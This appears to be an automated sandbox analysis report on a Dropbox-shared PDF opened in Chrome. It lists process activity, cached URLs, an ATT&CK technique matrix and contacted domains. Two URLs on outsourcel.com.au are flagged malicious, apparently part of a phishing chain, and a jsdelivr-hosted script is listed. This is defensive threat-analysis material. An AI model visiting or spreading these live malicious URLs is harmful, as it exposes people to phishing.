Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/fss-acc
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/fss-man
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/fss-mul
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/replay-
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/jan2024/work-desk/work_desk.png
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/docsend_advanced_data/D
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/mobile_app_beta/mobile-
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/new_image_shortcuts/fss
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/search_in_replay/replay
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/1a-dash-answer/1a-da
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/capture-permissions-
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/coupon/coupon-2048x1
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/dbx-ai-for-search/db
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/dbx-timeline-editing
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/replay-transcript-ui
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/sign-eid-ui/sign-eid
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/storage-organization
Source: chromecache_347.1.dr, chromecache_520.1.dr	String found in binary or memory: https://assets.dropbox.com/
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://assets.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/sign-entry-point-
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#cross_origin)
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#display_moment
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#skipped_moment
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://dropbox.com/overview
Source: chromecache_265.1.dr, chromecache_306.1.dr	String found in binary or memory: https://dropbox.com/ux_analytics
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://experience.dropbox.com/form/studio
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://faq.hellosign.com/hc/en-us/articles/15815316468877-Dropbox-Sign-SMS-tools-add-on
Source: chromecache_350.1.dr, chromecache_426.1.dr	String found in binary or memory: https://help.dropbox.com
Source: chromecache_483.1.dr, chromecache_300.1.dr, chromecache_566.1.dr, chromecache_558.1.dr	String found in binary or memory: https://help.dropbox.com/account-access/locked-state
Source: chromecache_253.1.dr, chromecache_249.1.dr	String found in binary or memory: https://help.dropbox.com/files-folders/share/shared-folder-faq#cantcreate
Source: chromecache_318.1.dr, chromecache_435.1.dr	String found in binary or memory: https://help.dropbox.com/integrations/move-google-docs
Source: chromecache_566.1.dr, chromecache_558.1.dr	String found in binary or memory: https://help.dropbox.com/organize/dropbox-automations
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://help.dropbox.com/organize/dropbox-backup-beta
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://help.dropbox.com/share
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://help.dropbox.com/storage-space/team-storage-report
Source: chromecache_566.1.dr, chromecache_558.1.dr	String found in binary or memory: https://help.dropbox.com/sync/make-files-online-only
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://help.dropbox.com/teams-admins/team-member/alpha-beta-product
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://help.dropbox.com/view-edit/add-dropboxsign-signature-PDF
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://help.dropbox.com/view-edit/edit-media-files
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://help.dropbox.com/view-edit/edit-pdf
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://help.dropbox.com/view-edit/image-search
Source: chromecache_566.1.dr	String found in binary or memory: https://help.dropbox.com/view-edit/search
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://help.dropbox.com/view-edit/video-length
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://meet.google.com
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://oauth2.googleapis.com/revoke
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://play.google.com/apps/testing/com.dropbox.android
Source: chromecache_401.1.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_566.1.dr, chromecache_558.1.dr	String found in binary or memory: https://replay.dropbox.com
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://replay.dropbox.com/
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://replay.dropbox.com/?login=true&referrer=july_2024_release
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://replay.dropbox.com/settings
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://testflight.apple.com/join/LBZaRq4I
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://www.docsend.com/features/analytics/
Source: chromecache_348.1.dr, chromecache_329.1.dr	String found in binary or memory: https://www.dropbox.com
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://www.dropbox.com/capture
Source: chromecache_558.1.dr	String found in binary or memory: https://www.dropbox.com/dash
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://www.dropbox.com/dash/get-started
Source: chromecache_566.1.dr	String found in binary or memory: https://www.dropbox.com/dash/setup/install-app
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://www.dropbox.com/getpasswords
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://www.dropbox.com/hellosign
Source: chromecache_566.1.dr, chromecache_558.1.dr	String found in binary or memory: https://www.dropbox.com/home
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://www.dropbox.com/overview
Source: chromecache_350.1.dr, chromecache_426.1.dr	String found in binary or memory: https://www.dropbox.com/privacy
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: https://www.dropbox.com/replay
Source: chromecache_483.1.dr, chromecache_300.1.dr, chromecache_566.1.dr, chromecache_558.1.dr	String found in binary or memory: https://www.dropbox.com/requests
Source: chromecache_300.1.dr, chromecache_566.1.dr	String found in binary or memory: https://www.hellosign.com/features/mobile
Source: chromecache_483.1.dr, chromecache_300.1.dr, chromecache_566.1.dr, chromecache_558.1.dr	String found in binary or memory: https://www.hellosign.com/features/qualified-electronic-signatures

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1952,i,7709180573030881369,3416673047614882169,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1952,i,7709180573030881369,3416673047614882169,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://www.hellosign.com/features/mobile	0%	Avira URL Cloud	safe
https://replay.dropbox.com/settings	0%	Avira URL Cloud	safe
https://outsourcel.com.au/cdn-cgi/challenge-platform/scripts/jsd/main.js	0%	Avira URL Cloud	safe
https://replay.dropbox.com/?login=true&referrer=july_2024_release	0%	Avira URL Cloud	safe
https://www.hellosign.com/features/qualified-electronic-signatures	0%	Avira URL Cloud	safe
http://capture.dropbox.com/open	0%	Avira URL Cloud	safe
https://outsourcel.com.au/cdn-cgi/challenge-platform/h/b/scripts/jsd/787bc399e22f/main.js?	0%	Avira URL Cloud	safe
https://replay.dropbox.com	0%	Avira URL Cloud	safe
https://uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.com/p/pdf_txt/ACfR3womCtm-FZjYN0BJg_-92pPeFBQp_jKEwnlmCkynFMhZvM0CUMROR_80Yorg1SYpvyh0ZuGT2bq4ErICOcb0g_NpH9guFrYsaaRAJDwcxbEc3gaPltc6xi1v8NTnH4XxhMUEF_CaOhHii43F_VdOjlnARNB1WIZdf2sv0HjZQMIYNhyJr4S3tUTIIXYm9ZjZi2zxMDRkYPXm2ggzo1pjlRtGH7_-9L2EZph3T5Dfik8JHNb1P11iv8aasJWVbEzBnanyednZ0zkW6HQPBzLMccdJpBm3nmKQDIPAw_5Nvn6eMHSbNGfzP8ersB_kpUc-WLDWWePSkekI_2ZqZ1gmeBwL9L2RqlgCcyoRqxxn35QjTSvamhfc4_HJeJZNt0M/p.json?is_prewarmed=true&metadata=1&text=1&page_start=0&page_end=50	0%	Avira URL Cloud	safe
https://outsourcel.com.au/cdn-cgi/challenge-platform/h/b/jsd/r/8f8cbc3e2eed8cc3	0%	Avira URL Cloud	safe
http://outsourcel.com.au/w3ertyuiu8y7654ty/	0%	Avira URL Cloud	safe
https://faq.hellosign.com/hc/en-us/articles/15815316468877-Dropbox-Sign-SMS-tools-add-on	0%	Avira URL Cloud	safe
https://replay.dropbox.com/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.1.229	true	false	high
google.com	172.217.17.46	true	false	high
use1-turn.fpjs.io	15.206.119.9	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
bolt.v.dropbox.com	162.125.21.3	true	false	high
edge-block-previews-env.dropbox-dns.com	162.125.65.16	true	false	high
c.ba.contentsquare.net	34.249.87.52	true	false	high
outsourcel.com.au	172.67.216.74	true	false	high
static-pdx.v.dropbox.com	162.125.40.3	true	false	high
www-env.dropbox-dns.com	162.125.65.18	true	false	high
d-edge.v.dropbox.com	162.125.8.20	true	false	high
www.google.com	172.217.21.36	true	false	high
fp.dropbox.com	52.222.144.45	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
cfl.dropboxstatic.com	unknown	unknown	false	high
www.dropboxstatic.com	unknown	unknown	false	high
uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.com	unknown	unknown	true	unknown
beacon.dropbox.com	unknown	unknown	false	high
d.dropbox.com	unknown	unknown	false	high
www.dropbox.com	unknown	unknown	false	high
c.contentsquare.net	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://fp.dropbox.com/CrbU/a8tlQRW/kdnryYu/iOjwI?q=hSrgVEjs3amxLolocQ18	false		high
https://c.contentsquare.net/v2/events?uu=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67&sn=1&hd=1735338404&v=15.36.2&pid=5416&pn=1&sr=100&mdh=907&ct=0	false		high
https://www.dropbox.com/2/stickers/get_stickers	false		high
https://www.dropbox.com/log/ux_analytics	false		high
https://www.dropbox.com/2/comments2/logged_out/list_comments	false		high
https://www.dropboxstatic.com/static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_fingerprintjs_fpjs-pro-static_fp-vflLEHw5n.js	false		high
https://www.dropbox.com/2/seen_state/logged_out/log_file_view	false		high
https://www.dropbox.com/2/files/get_file_content_metadata	false		high
https://www.dropbox.com/2/pap_event_logging/log_events	false		high
https://outsourcel.com.au/cdn-cgi/challenge-platform/scripts/jsd/main.js	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/2/pap_event_logging/log_events?t=M882FacyhGIm4WuboSkCCh3x1EY7gdSlGJgJ5-dH80k	false		high
https://www.dropbox.com/log_js_sw_data	false		high
https://www.dropbox.com/log/file_preview	false		high
https://www.dropbox.com/pithos_api_helper_validation	false		high
https://uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.com/p/pdf_txt/ACfR3womCtm-FZjYN0BJg_-92pPeFBQp_jKEwnlmCkynFMhZvM0CUMROR_80Yorg1SYpvyh0ZuGT2bq4ErICOcb0g_NpH9guFrYsaaRAJDwcxbEc3gaPltc6xi1v8NTnH4XxhMUEF_CaOhHii43F_VdOjlnARNB1WIZdf2sv0HjZQMIYNhyJr4S3tUTIIXYm9ZjZi2zxMDRkYPXm2ggzo1pjlRtGH7_-9L2EZph3T5Dfik8JHNb1P11iv8aasJWVbEzBnanyednZ0zkW6HQPBzLMccdJpBm3nmKQDIPAw_5Nvn6eMHSbNGfzP8ersB_kpUc-WLDWWePSkekI_2ZqZ1gmeBwL9L2RqlgCcyoRqxxn35QjTSvamhfc4_HJeJZNt0M/p.json?is_prewarmed=true&metadata=1&text=1&page_start=0&page_end=50	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/pithos/api_helper_validation	false		high
https://www.google.com/.well-known/web-identity	false		high
https://www.dropbox.com/pithos/host%3Awww.dropbox.com/api_helper_validation	false		high
https://cdn.jsdelivr.net/gh/syntaxerror019/HTML-STO/ld.min.js	false		high
https://outsourcel.com.au/cdn-cgi/challenge-platform/h/b/jsd/r/8f8cbc3e2eed8cc3	false	Avira URL Cloud: safe	unknown
https://outsourcel.com.au/cdn-cgi/challenge-platform/h/b/scripts/jsd/787bc399e22f/main.js?	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&e=1&st=lrloyzlo&dl=0	false		high
https://outsourcel.com.au/w3ertyuiu8y7654ty/bAZ2D4aMPKNLdkqQFfzWAFyuBzi81IRlkCn3o8LcQh1BiQo5geFSZa9wMqxmhrjIlDoo3RjWyTP6J4VR3rTOztGeDfu75Sst5To04NkEwY1tGgvnOxgHbI7NHrw2pVJ7SeUhWlsaXcXdBsfqKPV9A0/index	true		unknown
https://www.dropbox.com/2/client_metrics/record	false		high
https://www.dropbox.com/log/blocked	false		high
https://www.dropbox.com/share_tib_log_unauth	false		high
https://www.dropbox.com/log/telemetry	false		high
https://beacon.dropbox.com/1/update	false		high
https://www.dropbox.com/2/udcl/log_timing	false		high
https://d.dropbox.com/api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0	false		high
https://c.contentsquare.net/v2/events?uu=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67&sn=1&hd=1735338404&v=15.36.2&pid=5416&pn=1&sr=100&mdh=907&str=696&di=8308&dc=70912&fl=70915&ct=0	false		high
https://www.dropbox.com/2/campaigns_toolkit/get_best_campaigns_for_user	false		high
https://www.dropbox.com/alternate_wtl_browser_performance_info	false		high
https://www.dropbox.com/alternate_wtl	false		high
https://www.dropbox.com/page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Flncgsm76k7l5ix7fuu5t6%2F2024-OK-House-Outreach.pdf&request_id=cc81d9e367a94713b7cc03c3413aa45b&time=1735338337	false		high
https://outsourcel.com.au/w3ertyuiu8y7654ty/	true		unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/sign-eid-ui/sign-eid	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://help.dropbox.com/files-folders/share/shared-folder-faq#cantcreate	chromecache_253.1.dr, chromecache_249.1.dr	false		high
https://help.dropbox.com/storage-space/team-storage-report	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://www.dropbox.com/dash	chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/fss-mul	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://www.dropbox.com/overview	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/jan2024/work-desk/work_desk.png	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://replay.dropbox.com/settings	chromecache_483.1.dr, chromecache_558.1.dr	false	Avira URL Cloud: safe	unknown
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/capture-permissions-	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://www.dropbox.com/capture	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#skipped_moment	chromecache_391.1.dr, chromecache_363.1.dr	false		high
https://help.dropbox.com/share	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/dbx-timeline-editing	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://help.dropbox.com/view-edit/edit-media-files	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://www.dropbox.com/privacy	chromecache_350.1.dr, chromecache_426.1.dr	false		high
https://assets.dropbox.com/	chromecache_347.1.dr, chromecache_520.1.dr	false		high
https://www.dropbox.com/dash/get-started	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://help.dropbox.com/organize/dropbox-automations	chromecache_566.1.dr, chromecache_558.1.dr	false		high
https://www.dropbox.com/replay	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://help.dropbox.com/sync/make-files-online-only	chromecache_566.1.dr, chromecache_558.1.dr	false		high
https://www.dropbox.com	chromecache_348.1.dr, chromecache_329.1.dr	false		high
https://play.google.com/apps/testing/com.dropbox.android	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://www.hellosign.com/features/qualified-electronic-signatures	chromecache_483.1.dr, chromecache_300.1.dr, chromecache_566.1.dr, chromecache_558.1.dr	false	Avira URL Cloud: safe	unknown
https://help.dropbox.com	chromecache_350.1.dr, chromecache_426.1.dr	false		high
https://help.dropbox.com/view-edit/image-search	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://replay.dropbox.com/?login=true&referrer=july_2024_release	chromecache_483.1.dr, chromecache_558.1.dr	false	Avira URL Cloud: safe	unknown
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/mobile_app_beta/mobile-	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/replay-transcript-ui	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://www.docsend.com/features/analytics/	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/1a-dash-answer/1a-da	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://help.dropbox.com/view-edit/search	chromecache_566.1.dr	false		high
https://www.dropbox.com/getpasswords	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://help.dropbox.com/integrations/move-google-docs	chromecache_318.1.dr, chromecache_435.1.dr	false		high
https://www.hellosign.com/features/mobile	chromecache_300.1.dr, chromecache_566.1.dr	false	Avira URL Cloud: safe	unknown
https://help.dropbox.com/view-edit/add-dropboxsign-signature-PDF	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://help.dropbox.com/view-edit/video-length	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/coupon/coupon-2048x1	chromecache_483.1.dr, chromecache_558.1.dr	false		high
http://capture.dropbox.com/open	chromecache_483.1.dr, chromecache_558.1.dr	false	Avira URL Cloud: safe	unknown
https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/replay-	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/dbx-ai-for-search/db	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/search_in_replay/replay	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://dropbox.com/overview	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://replay.dropbox.com	chromecache_566.1.dr, chromecache_558.1.dr	false	Avira URL Cloud: safe	unknown
http://dropbox.com/search#ai_onboarding	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/storage-organization	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://reactjs.org/link/react-polyfills	chromecache_401.1.dr	false		high
https://developers.google.com/identity/gsi/web/guides/fedcm-migration	chromecache_391.1.dr, chromecache_363.1.dr	false		high
https://www.dropbox.com/requests	chromecache_483.1.dr, chromecache_300.1.dr, chromecache_566.1.dr, chromecache_558.1.dr	false		high
https://meet.google.com	chromecache_391.1.dr, chromecache_363.1.dr	false		high
https://www.dropbox.com/dash/setup/install-app	chromecache_566.1.dr	false		high
https://help.dropbox.com/account-access/locked-state	chromecache_483.1.dr, chromecache_300.1.dr, chromecache_566.1.dr, chromecache_558.1.dr	false		high
https://help.dropbox.com/teams-admins/team-member/alpha-beta-product	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/fss-man	chromecache_483.1.dr, chromecache_558.1.dr	false		high
http://outsourcel.com.au/w3ertyuiu8y7654ty/	chromecache_561.1.dr, chromecache_377.1.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/hellosign	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#cross_origin)	chromecache_391.1.dr, chromecache_363.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/new_image_shortcuts/fss	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://dropbox.com/ux_analytics	chromecache_265.1.dr, chromecache_306.1.dr	false		high
